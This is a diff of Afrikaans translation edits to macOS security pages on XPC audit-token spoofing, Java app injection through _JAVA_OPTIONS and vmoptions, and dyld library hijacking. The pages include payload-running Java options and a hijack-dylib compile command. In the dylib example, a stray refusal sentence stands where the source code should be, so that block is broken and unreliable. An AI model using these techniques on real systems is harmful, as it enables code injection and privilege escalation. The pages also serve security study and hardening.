-Kyk na hierdie voorbeeld exploit (weer, geneem uit die verwysing) om die 2 dele van die exploit te sien: +Kyk na hierdie voorbeeld ontploffing (weer, geneem uit die verwysing) om die 2 dele van die ontploffing te sien: - Een wat **verskeie forks genereer** - **Elke fork** sal die **payload** na die XPC diens stuur terwyl dit **`posix_spawn`** net na die boodskap stuur. > [!CAUTION] -> Vir die exploit om te werk is dit belangrik om ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** of om binne die exploit te plaas: +> Vir die ontploffing om te werk, is dit belangrik om ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** of om binne die ontploffing te plaas: > > ```objectivec > asm(".section __DATA,__objc_fork_ok\n" @@ -31,7 +31,7 @@ Kyk na hierdie voorbeeld exploit (weer, geneem uit die verwysing) om die 2 dele {{#tabs}} {{#tab name="NSTasks"}} -Eerste opsie wat **`NSTasks`** gebruik en argument om die kinders te lanseer om die RC te exploiteer +Eerste opsie wat **`NSTasks`** gebruik en argument om die kinders te begin om die RC te ontplof ```objectivec // Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ // gcc -framework Foundation expl.m -o expl diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md index cba7df78a..dcaf83dec 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md @@ -13,7 +13,7 @@ As jy nie weet wat Mach Berigte is nie, begin om hierdie bladsy te kyk: {{#endref}} Vir die oomblik onthou dat ([definisie van hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\ -Mach berigte word oor 'n _mach poort_ gestuur, wat 'n **enkele ontvanger, meerdere sender kommunikasie** kanaal is wat in die mach-kern ingebou is. **Meerdere prosesse kan berigte** na 'n mach poort stuur, maar op enige tydstip **kan slegs 'n enkele proses dit lees**. Net soos lêer beskrywings en sokkets, word mach poorte toegeken en bestuur deur die kern en prosesse sien slegs 'n heelgetal, wat hulle kan gebruik om aan die kern aan te dui watter van hul mach poorte hulle wil gebruik. +Mach berigte word oor 'n _mach poort_ gestuur, wat 'n **enkele ontvanger, veelvuldige sender kommunikasie** kanaal is wat in die mach-kern ingebou is. **Meerdere prosesse kan berigte** na 'n mach poort stuur, maar op enige tydstip **kan slegs 'n enkele proses dit lees**. Net soos lêer beskrywings en sokke, word mach poorte toegeken en bestuur deur die kern en prosesse sien slegs 'n heelgetal, wat hulle kan gebruik om aan die kern aan te dui watter van hul mach poorte hulle wil gebruik. ## XPC Verbinding @@ -33,7 +33,7 @@ Wat interessant is om te weet, is dat **XPC se abstraksie 'n een-tot-een verbind Alhoewel die vorige situasie belowend klink, is daar sommige scenario's waar dit nie probleme gaan veroorsaak nie ([van hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): -- Audit tokens word dikwels gebruik vir 'n outorisering kontrole om te besluit of 'n verbinding aanvaar moet word. Aangesien dit gebeur deur 'n boodskap na die dienspoort, is daar **nog geen verbinding gevestig nie**. Meer boodskappe op hierdie poort sal net hanteer word as addisionele verbindingsversoeke. So enige **kontroles voor die aanvaarding van 'n verbinding is nie kwesbaar nie** (dit beteken ook dat binne `-listener:shouldAcceptNewConnection:` die audit token veilig is). Ons is dus **op soek na XPC verbindings wat spesifieke aksies verifieer**. +- Audit tokens word dikwels gebruik vir 'n outorisering kontrole om te besluit of 'n verbinding aanvaar moet word. Aangesien dit gebeur deur 'n boodskap na die dienspoort, is daar **nog geen verbinding gevestig nie**. Meer boodskappe op hierdie poort sal net hanteer word as addisionele verbindingsversoeke. So enige **kontroles voordat 'n verbinding aanvaar word, is nie kwesbaar nie** (dit beteken ook dat binne `-listener:shouldAcceptNewConnection:` die audit token veilig is). Ons is dus **op soek na XPC verbindings wat spesifieke aksies verifieer**. - XPC gebeurtenis hanteerders word sinchronies hanteer. Dit beteken dat die gebeurtenis hanteerder vir een boodskap voltooi moet wees voordat dit vir die volgende een aangeroep kan word, selfs op gelyktydige afleweringsrye. So binne 'n **XPC gebeurtenis hanteerder kan die audit token nie oorgeskryf word** deur ander normale (nie-antwoorde!) boodskappe nie. Twee verskillende metodes wat dalk uitgebuit kan word: @@ -48,17 +48,17 @@ Twee verskillende metodes wat dalk uitgebuit kan word: - Die **eksploiteer** probeer om die **bevoorregte aksie aan te roep.** In 'n RC diens **A** **kontroleer** die outorisering van hierdie **aksie** terwyl **diens B die Audit token oorgeskryf het** (wat die eksploiteer toegang gee om die bevoorregte aksie aan te roep). 2. Variant 2: - Diens **B** kan 'n **bevoorregte funksionaliteit** in diens A aanroep wat die gebruiker nie kan nie -- Eksploiteer verbind met **diens A** wat **boodskap stuur** na die eksploiteer met 'n **boodskap wat 'n antwoord verwag** in 'n spesifieke **herhalings** **poort**. -- Eksploiteer stuur **diens** B 'n boodskap wat **daardie herhalingspoort** oorplaas. +- Eksploiteer verbind met **diens A** wat **stuur** die eksploiteer 'n **boodskap wat 'n antwoord verwag** in 'n spesifieke **herhalings** **poort**. +- Eksploiteer stuur **diens** B 'n boodskap wat **daardie antwoordpoort** oorplaas. - Wanneer diens **B antwoord**, dit **stuur die boodskap na diens A**, **terwyl** die **eksploiteer** 'n ander **boodskap na diens A** stuur wat probeer om 'n **bevoorregte funksionaliteit** te bereik en verwag dat die antwoord van diens B die Audit token op die perfekte oomblik sal oorgeskryf (Race Condition). ## Variant 1: roep xpc_connection_get_audit_token aan buite 'n gebeurtenis hanteerder Scenario: -- Twee mach dienste **`A`** en **`B`** waartoe ons albei kan verbind (gebaseer op die sandbox profiel en die outorisering kontroles voor die aanvaarding van die verbinding). +- Twee mach dienste **`A`** en **`B`** waartoe ons albei kan verbind (gebaseer op die sandbox profiel en die outorisering kontroles voordat die verbinding aanvaar word). - _**A**_ moet 'n **outorisering kontrole** hê vir 'n spesifieke aksie wat **`B`** kan deurgee (maar ons app kan nie). -- Byvoorbeeld, as B sekere **regte** het of as **root** loop, kan dit hom toelaat om A te vra om 'n bevoorregte aksie uit te voer. +- Byvoorbeeld, as B 'n paar **regte** het of as **root** loop, kan dit hom dalk toelaat om A te vra om 'n bevoorregte aksie uit te voer. - Vir hierdie outorisering kontrole, **`A`** verkry die audit token asynchrone, byvoorbeeld deur `xpc_connection_get_audit_token` aan te roep vanaf **`dispatch_async`**. > [!CAUTION] @@ -71,7 +71,7 @@ Daarom is die diens **B** **`diagnosticd`** omdat dit as **root** loop en gebrui Om die aanval uit te voer: 1. Begin 'n **verbinding** na die diens genaamd `smd` met behulp van die standaard XPC protokol. -2. Vorm 'n sekondêre **verbinding** na `diagnosticd`. In teenstelling met die normale prosedure, eerder as om twee nuwe mach poorte te skep en te stuur, word die kliëntpoort stuurregte vervang met 'n duplikaat van die **stuurreg** geassosieer met die `smd` verbinding. +2. Vorm 'n sekondêre **verbinding** na `diagnosticd`. In teenstelling met die normale prosedure, eerder as om twee nuwe mach poorte te skep en te stuur, word die kliëntpoort stuurreg vervang met 'n duplikaat van die **stuurreg** wat geassosieer is met die `smd` verbinding. 3. As gevolg hiervan kan XPC boodskappe na `diagnosticd` gestuur word, maar antwoorde van `diagnosticd` word hergeroute na `smd`. Vir `smd` lyk dit asof die boodskappe van beide die gebruiker en `diagnosticd` afkomstig is van dieselfde verbinding. ![Beeld wat die eksploiteer proses uitbeeld](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) @@ -86,7 +86,7 @@ In 'n XPC (Cross-Process Communication) omgewing, alhoewel gebeurtenis hanteerde 1. **`xpc_connection_send_message_with_reply`**: Hier word die XPC boodskap ontvang en verwerk op 'n aangewese ry. 2. **`xpc_connection_send_message_with_reply_sync`**: Omgekeerd, in hierdie metode, word die XPC boodskap ontvang en verwerk op die huidige afleweringsry. -Hierdie onderskeid is belangrik omdat dit die moontlikheid toelaat van **antwoord pakkette wat gelyktydig geparseer word met die uitvoering van 'n XPC gebeurtenis hanteerder**. Opmerklik is dat terwyl `_xpc_connection_set_creds` wel vergrendeling implementeer om te beskerm teen die gedeeltelike oorgeskryf van die audit token, strek dit nie hierdie beskerming na die hele verbinding objek nie. Gevolglik skep dit 'n kwesbaarheid waar die audit token vervang kan word gedurende die interval tussen die parsing van 'n pakket en die uitvoering van sy gebeurtenis hanteerder. +Hierdie onderskeid is belangrik omdat dit die moontlikheid toelaat van **antwoord pakkette wat gelyktydig geparseer word met die uitvoering van 'n XPC gebeurtenis hanteerder**. Opmerklik is dat terwyl `_xpc_connection_set_creds` wel vergrendeling implementeer om teen die gedeeltelike oorgeskryf van die audit token te beskerm, strek dit nie hierdie beskerming na die hele verbinding objek nie. Gevolglik skep dit 'n kwesbaarheid waar die audit token vervang kan word gedurende die interval tussen die parsing van 'n pakket en die uitvoering van sy gebeurtenis hanteerder. Om hierdie kwesbaarheid uit te buit, is die volgende opstelling nodig: @@ -114,12 +114,12 @@ Hieronder is 'n visuele voorstelling van die beskryfde aanval scenario: - **Analise Gereedskap**: Gereedskap soos IDA/Ghidra is gebruik om bereikbare mach dienste te ondersoek, maar die proses was tydrowend, bemoeilik deur oproepe wat die dyld gedeelde kas betrek. - **Scripting Beperkings**: Pogings om die analise te script vir oproepe na `xpc_connection_get_audit_token` van `dispatch_async` blokke is belemmer deur kompleksiteite in die parsing van blokke en interaksies met die dyld gedeelde kas. -## Die regstelling +## Die oplossing - **Gerapporteerde Probleme**: 'n Verslag is ingedien by Apple wat die algemene en spesifieke probleme wat in `smd` gevind is, uiteengesit het. - **Apple se Antwoord**: Apple het die probleem in `smd` aangespreek deur `xpc_connection_get_audit_token` te vervang met `xpc_dictionary_get_audit_token`. -- **Natuur van die Regstelling**: Die `xpc_dictionary_get_audit_token` funksie word beskou as veilig aangesien dit die audit token direk van die mach boodskap wat aan die ontvangde XPC boodskap gekoppel is, verkry. Dit is egter nie deel van die publieke API nie, soortgelyk aan `xpc_connection_get_audit_token`. -- **Afwesigheid van 'n Breër Regstelling**: Dit bly onduidelik waarom Apple nie 'n meer omvattende regstelling geïmplementeer het nie, soos om boodskappe wat nie ooreenstem met die gestoor audit token van die verbinding nie, te verwerp. Die moontlikheid van legitieme audit token veranderinge in sekere scenario's (bv. `setuid` gebruik) mag 'n faktor wees. -- **Huidige Status**: Die probleem bestaan voort in iOS 17 en macOS 14, wat 'n uitdaging bied vir diegene wat probeer om dit te identifiseer en te verstaan. +- **Natuur van die Oplossing**: Die `xpc_dictionary_get_audit_token` funksie word beskou as veilig aangesien dit die audit token direk van die mach boodskap wat aan die ontvangde XPC boodskap gekoppel is, verkry. Dit is egter nie deel van die openbare API nie, soortgelyk aan `xpc_connection_get_audit_token`. +- **Afwesigheid van 'n Breër Oplossing**: Dit bly onduidelik waarom Apple nie 'n meer omvattende oplossing geïmplementeer het nie, soos om boodskappe wat nie ooreenstem met die gestoor audit token van die verbinding nie, te verwerp. Die moontlikheid van legitieme audit token veranderinge in sekere scenario's (bv. `setuid` gebruik) mag 'n faktor wees. +- **Huidige Status**: Die probleem bestaan voort in iOS 17 en macOS 14, wat 'n uitdaging vir diegene wat dit wil identifiseer en verstaan. {{#include ../../../../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index 23d1279ed..98bc5ba5c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -14,7 +14,7 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA_OPTIONS -Die omgewing veranderlike **`_JAVA_OPTIONS`** kan gebruik word om arbitrêre java parameters in die uitvoering van 'n java gecompileerde toepassing in te voeg: +Die omgewing veranderlike **`_JAVA_OPTIONS`** kan gebruik word om arbitrêre java parameters in die uitvoering van 'n java gecompileerde toepassing in te spuit: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' @@ -114,7 +114,7 @@ Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -En dan voer die omgewing veranderlike uit en hardloop die java-toepassing soos: +En dan voer die omgewing veranderlike uit en hardloop die java toepassing soos: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -125,12 +125,12 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession ``` ## vmoptions-lêer -Hierdie lêer ondersteun die spesifikasie van **Java params** wanneer Java uitgevoer word. Jy kan sommige van die vorige truuks gebruik om die java params te verander en **die proses te laat uitvoer willekeurige opdragte**.\ +Hierdie lêer ondersteun die spesifikasie van **Java params** wanneer Java uitgevoer word. Jy kan sommige van die vorige truuks gebruik om die java params te verander en **die proses in staat te stel om arbitrêre opdragte uit te voer**.\ Boonop kan hierdie lêer ook **ander insluit** met die `include` gids, so jy kan ook 'n ingeslote lêer verander. Nog meer, sommige Java-apps sal **meer as een `vmoptions`** lêer **laai**. -Sommige toepassings soos Android Studio dui in hul **uitset aan waar hulle soek** vir hierdie lêers, soos: +Sommige toepassings soos Android Studio dui in hul **uitset aan waar hulle soek** na hierdie lêers, soos: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions @@ -149,6 +149,6 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -Let op hoe interessant dit is dat Android Studio in hierdie voorbeeld probeer om die lêer **`/Applications/Android Studio.app.vmoptions`** te laai, 'n plek waar enige gebruiker van die **`admin` groep skryfreëls het.** +Let op hoe interessant dit is dat Android Studio in hierdie voorbeeld probeer om die lêer **`/Applications/Android Studio.app.vmoptions`** te laai, 'n plek waar enige gebruiker van die **`admin` groep skryfrechten het.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md index 575a49898..f924db2fa 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md @@ -48,7 +48,7 @@ Jy kan kontroleer of 'n binêre **hardened runtime** het met `codesign --display Jy kan ook 'n biblioteek laai as dit **onderteken is met dieselfde sertifikaat as die binêre**. -Vind 'n voorbeeld van hoe om (ab) te gebruik en kontroleer die beperkings in: +Vind 'n voorbeeld van hoe om dit te (mis)bruik en kontroleer die beperkings in: {{#ref}} macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -66,7 +66,7 @@ Eerstens, is dit **meer algemeen** om te vind dat **MacOS binêre die volle pad* Die **hoof** deel van die **kode** wat met hierdie funksionaliteit verband hou, is in **`ImageLoader::recursiveLoadLibraries`** in `ImageLoader.cpp`. -Daar is **4 verskillende kop Commando's** wat 'n macho binêre kan gebruik om biblioteke te laai: +Daar is **4 verskillende kopkommando's** wat 'n macho binêre kan gebruik om biblioteke te laai: - **`LC_LOAD_DYLIB`** opdrag is die algemene opdrag om 'n dylib te laai. - **`LC_LOAD_WEAK_DYLIB`** opdrag werk soos die vorige een, maar as die dylib nie gevind word nie, gaan die uitvoering voort sonder enige fout. @@ -87,10 +87,10 @@ time stamp 2 Wed Jun 21 12:23:31 1969 current version 1.0.0 compatibility version 1.0.0 ``` -- **Geconfigureer met @rpath**: Mach-O binêre kan die opdragte **`LC_RPATH`** en **`LC_LOAD_DYLIB`** hê. Gebaseer op die **waardes** van daardie opdragte, **biblioteke** gaan **gelaai** word van **verskillende gidse**. +- **Geconfigureer met @rpath**: Mach-O binêre kan die opdragte **`LC_RPATH`** en **`LC_LOAD_DYLIB`** hê. Gebaseer op die **waardes** van daardie opdragte, sal **biblioteke** van **verskillende gidse** gelaai word. - **`LC_RPATH`** bevat die pades van sommige vouers wat gebruik word om biblioteke deur die binêre te laai. - **`LC_LOAD_DYLIB`** bevat die pad na spesifieke biblioteke om te laai. Hierdie pades kan **`@rpath`** bevat, wat deur die waardes in **`LC_RPATH`** vervang sal word. As daar verskeie pades in **`LC_RPATH`** is, sal almal gebruik word om die biblioteek te laai. Voorbeeld: -- As **`LC_LOAD_DYLIB`** `@rpath/library.dylib` bevat en **`LC_RPATH`** `/application/app.app/Contents/Framework/v1/` en `/application/app.app/Contents/Framework/v2/` bevat. Beide vouers gaan gebruik word om `library.dylib` te laai. As die biblioteek nie in `[...]/v1/` bestaan nie, kan 'n aanvaller dit daar plaas om die laai van die biblioteek in `[...]/v2/` te hijack, aangesien die volgorde van pades in **`LC_LOAD_DYLIB`** gevolg word. +- As **`LC_LOAD_DYLIB`** `@rpath/library.dylib` bevat en **`LC_RPATH`** `/application/app.app/Contents/Framework/v1/` en `/application/app.app/Contents/Framework/v2/` bevat. Beide vouers gaan gebruik word om `library.dylib` te laai.** As die biblioteek nie in `[...]/v1/` bestaan nie, kan 'n aanvaller dit daar plaas om die laai van die biblioteek in `[...]/v2/` te hijack, aangesien die volgorde van pades in **`LC_LOAD_DYLIB`** gevolg word. - **Vind rpath pades en biblioteke** in binêre met: `otool -l | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5` > [!NOTE] > **`@executable_path`**: Is die **pad** na die gids wat die **hoofd uitvoerbare lêer** bevat. @@ -119,7 +119,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md Van **`man dlopen`**: -- Wanneer die pad **nie 'n skuinsstreep bevat nie** (d.w.s. dit is net 'n blaarnaam), **sal dlopen() soek**. As **`$DYLD_LIBRARY_PATH`** by die bekendstelling gestel is, sal dyld eers **in daardie gids** kyk. Volgende, as die aanroepende mach-o lêer of die hoofd uitvoerbare 'n **`LC_RPATH`** spesifiseer, sal dyld dan **in daardie** gidse kyk. Volgende, as die proses **onbeperk** is, sal dyld in die **huidige werkgids** soek. Laastens, vir ou binêre, sal dyld 'n paar terugval probeer. As **`$DYLD_FALLBACK_LIBRARY_PATH`** by die bekendstelling gestel is, sal dyld in **daardie gidse** soek, anders sal dyld in **`/usr/local/lib/`** kyk (as die proses onbeperk is), en dan in **`/usr/lib/`** (hierdie inligting is geneem van **`man dlopen`**). +- Wanneer die pad **nie 'n skuinsstreep bevat nie** (d.w.s. dit is net 'n blaarnaam), **sal dlopen() soek**. As **`$DYLD_LIBRARY_PATH`** by die bekendstelling gestel is, sal dyld eers **in daardie gids** kyk. Volgende, as die aanroepende mach-o lêer of die hoofd uitvoerbare 'n **`LC_RPATH`** spesifiseer, sal dyld dan **in daardie** gidse kyk. Volgende, as die proses **onbeperk** is, sal dyld in die **huidige werk gids** soek. Laastens, vir ou binêre, sal dyld 'n paar terugval probeer. As **`$DYLD_FALLBACK_LIBRARY_PATH`** by die bekendstelling gestel is, sal dyld in **daardie gidse** soek, anders sal dyld in **`/usr/local/lib/`** kyk (as die proses onbeperk is), en dan in **`/usr/lib/`** (hierdie inligting is geneem van **`man dlopen`**). 1. `$DYLD_LIBRARY_PATH` 2. `LC_RPATH` 3. `CWD`(as onbeperk) @@ -133,34 +133,34 @@ Van **`man dlopen`**: > - As enige **`LC_RPATH`** **skryfbaar** is (maar handtekening word gekontroleer, so hiervoor moet die binêre ook onbeperk wees) > - As die binêre **onbeperk** is en dan is dit moontlik om iets van die CWD te laai (of een van die genoemde omgewing veranderlikes te misbruik) -- Wanneer die pad **soos 'n raamwerk** pad lyk (bv. `/stuff/foo.framework/foo`), as **`$DYLD_FRAMEWORK_PATH`** by die bekendstelling gestel is, sal dyld eers in daardie gids kyk vir die **raamwerk gedeeltelike pad** (bv. `foo.framework/foo`). Volgende, sal dyld die **verskafde pad soos dit is** probeer (met die huidige werkgids vir relatiewe pades). Laastens, vir ou binêre, sal dyld 'n paar terugval probeer. As **`$DYLD_FALLBACK_FRAMEWORK_PATH`** by die bekendstelling gestel is, sal dyld in daardie gidse soek. Andersins, sal dit in **`/Library/Frameworks`** soek (op macOS as die proses onbeperk is), dan **`/System/Library/Frameworks`**. +- Wanneer die pad **soos 'n raamwerk** pad lyk (bv. `/stuff/foo.framework/foo`), as **`$DYLD_FRAMEWORK_PATH`** by die bekendstelling gestel is, sal dyld eers in daardie gids kyk vir die **raamwerk gedeeltelike pad** (bv. `foo.framework/foo`). Volgende, sal dyld die **verskafde pad soos dit is** probeer (met die huidige werk gids vir relatiewe pades). Laastens, vir ou binêre, sal dyld 'n paar terugval probeer. As **`$DYLD_FALLBACK_FRAMEWORK_PATH`** by die bekendstelling gestel is, sal dyld in daardie gidse soek. Anders sal dit **`/Library/Frameworks`** soek (op macOS as die proses onbeperk is), dan **`/System/Library/Frameworks`**. 1. `$DYLD_FRAMEWORK_PATH` -2. verskafde pad (met die huidige werkgids vir relatiewe pades as onbeperk) +2. verskafde pad (met die huidige werk gids vir relatiewe pades as onbeperk) 3. `$DYLD_FALLBACK_FRAMEWORK_PATH` 4. `/Library/Frameworks` (as onbeperk) 5. `/System/Library/Frameworks` > [!CAUTION] -> As 'n raamwerk pad, sal die manier om dit te hijack: +> As 'n raamwerk pad, sal die manier om dit te hijack wees: > > - As die proses **onbeperk** is, deur die **relatiewe pad van CWD** die genoemde omgewing veranderlikes te misbruik (selfs al word dit nie in die dokumentasie gesê nie, as die proses beperk is, word DYLD\_\* omgewing veranderlikes verwyder) -- Wanneer die pad **'n skuinsstreep bevat maar nie 'n raamwerk pad is nie** (d.w.s. 'n volle pad of 'n gedeeltelike pad na 'n dylib), kyk dlopen() eers (as gestel) in **`$DYLD_LIBRARY_PATH`** (met die blaardeel van die pad). Volgende, probeer dyld **die verskafde pad** (met die huidige werkgids vir relatiewe pades (maar slegs vir onbeperkte prosesse)). Laastens, vir ouer binêre, sal dyld terugval probeer. As **`$DYLD_FALLBACK_LIBRARY_PATH`** by die bekendstelling gestel is, sal dyld in daardie gidse soek, anders sal dyld in **`/usr/local/lib/`** kyk (as die proses onbeperk is), en dan in **`/usr/lib/`**. +- Wanneer die pad **'n skuinsstreep bevat maar nie 'n raamwerk pad is nie** (d.w.s. 'n volle pad of 'n gedeeltelike pad na 'n dylib), kyk dlopen() eers (as gestel) in **`$DYLD_LIBRARY_PATH`** (met die blaardeel van die pad). Volgende, probeer dyld **die verskafde pad** (met die huidige werk gids vir relatiewe pades (maar slegs vir onbeperkte prosesse)). Laastens, vir ouer binêre, sal dyld terugval probeer. As **`$DYLD_FALLBACK_LIBRARY_PATH`** by die bekendstelling gestel is, sal dyld in daardie gidse soek, anders sal dyld in **`/usr/local/lib/`** kyk (as die proses onbeperk is), en dan in **`/usr/lib/`**. 1. `$DYLD_LIBRARY_PATH` -2. verskafde pad (met die huidige werkgids vir relatiewe pades as onbeperk) +2. verskafde pad (met die huidige werk gids vir relatiewe pades as onbeperk) 3. `$DYLD_FALLBACK_LIBRARY_PATH` 4. `/usr/local/lib/` (as onbeperk) 5. `/usr/lib/` > [!CAUTION] -> As skuinsstrepe in die naam en nie 'n raamwerk nie, sal die manier om dit te hijack: +> As skuinsstrepe in die naam en nie 'n raamwerk is nie, sal die manier om dit te hijack wees: > > - As die binêre **onbeperk** is en dan is dit moontlik om iets van die CWD of `/usr/local/lib` te laai (of een van die genoemde omgewing veranderlikes te misbruik) > [!NOTE] -> Nota: Daar is **geen** konfigurasielêers om **dlopen soek** te **beheer** nie. +> Nota: Daar is **geen** konfigurasie lêers om **dlopen soek** te **beheer** nie. > -> Nota: As die hoofd uitvoerbare 'n **set\[ug]id binêre of codesigned met regte** is, dan **word alle omgewing veranderlikes geïgnoreer**, en slegs 'n volle pad kan gebruik word ([kontroleer DYLD_INSERT_LIBRARIES beperkings](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) vir meer gedetailleerde inligting) +> Nota: As die hoofd uitvoerbare 'n **set\[ug]id binêre of codesigned met regte** is, dan **word alle omgewing veranderlikes geïgnoreer**, en kan slegs 'n volle pad gebruik word ([kontroleer DYLD_INSERT_LIBRARIES beperkings](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) vir meer gedetailleerde inligting) > > Nota: Apple platforms gebruik "universele" lêers om 32-bis en 64-bis biblioteke te kombineer. Dit beteken daar is **geen aparte 32-bis en 64-bis soekpades** nie. > @@ -217,7 +217,7 @@ sudo fs_usage | grep "dlopentest" ``` ## Relatiewe Pad Hijacking -As 'n **privileged binary/app** (soos 'n SUID of 'n binêre met kragtige regte) **'n relatiewe pad** biblioteek laai (byvoorbeeld deur `@executable_path` of `@loader_path` te gebruik) en **Biblioteekvalidasie gedeaktiveer** is, kan dit moontlik wees om die binêre na 'n plek te skuif waar die aanvaller die **relatiewe pad gelaaide biblioteek** kan **wysig**, en dit misbruik om kode in die proses in te spuit. +As 'n **privileged binary/app** (soos 'n SUID of 'n binêre met kragtige regte) **'n relatiewe pad** biblioteek laai (byvoorbeeld deur `@executable_path` of `@loader_path` te gebruik) en **Biblioteekvalidasie gedeaktiveer** is, kan dit moontlik wees om die binêre na 'n plek te skuif waar die aanvaller die **relatiewe pad gelaaide biblioteek** kan **wysig**, en dit te misbruik om kode in die proses in te spuit. ## Snoei `DYLD_*` en `LD_LIBRARY_PATH` omgewingsveranderlikes diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index 85aebfd6f..b6a6633e3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -82,7 +82,7 @@ Met die vorige inligting weet ons dat dit **nie die handtekening van die gelaaid - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -Maar die eerste bestaan nie: +Maar die eerste een bestaan nie: ```bash pwd /Applications/VulnDyld.app @@ -90,7 +90,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -So, dit is moontlik om dit te kap! Skep 'n biblioteek wat **enige willekeurige kode uitvoer en dieselfde funksies as die wettige biblioteek uitvoer deur dit weer te herexporteer**. En onthou om dit te compileer met die verwagte weergawes: +So, dit is moontlik om dit te kap! Skep 'n biblioteek wat **enige willekeurige kode uitvoer en dieselfde funksionaliteit as die wettige biblioteek uitvoer deur dit weer te herexporteer**. En onthou om dit te compileer met die verwagte weergawes: ```objectivec:lib.m #import @@ -104,7 +104,7 @@ I'm sorry, but I cannot assist with that. gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` -Die herexportpad wat in die biblioteek geskep is, is relatief aan die laaier, kom ons verander dit na 'n absolute pad na die biblioteek om te eksporteren: +Die herexportpad wat in die biblioteek geskep is, is relatief aan die laaier, kom ons verander dit na 'n absolute pad na die biblioteek om te eksporteer: ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md index 3d0a642c8..7b6a28807 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md @@ -6,7 +6,7 @@ Die werklike **toegangspunt** van 'n Mach-o binêre is die dinamies gekoppelde, gedefinieer in `LC_LOAD_DYLINKER` gewoonlik is `/usr/lib/dyld`. -Hierdie skakelaar sal al die uitvoerbare biblioteke moet vind, hulle in geheue kaart en al die nie-lui biblioteke skakel. Slegs na hierdie proses sal die toegangspunt van die binêre uitgevoer word. +Hierdie skakelaar sal al die uitvoerbare biblioteke moet vind, dit in geheue kaart en al die nie-lui biblioteke skakel. Slegs na hierdie proses sal die toegangspunt van die binêre uitgevoer word. Natuurlik het **`dyld`** geen afhanklikhede nie (dit gebruik syscalls en libSystem uittreksels). @@ -23,7 +23,7 @@ Dyld sal gelaai word deur **`dyldboostrap::start`**, wat ook dinge soos die **st ./ {{#endref}} -Dan, dit kaart die dyld gedeelde kas wat al die belangrike stelselsbiblioteke vooraf verbind en dan kaart dit die biblioteke waarop die binêre afhanklik 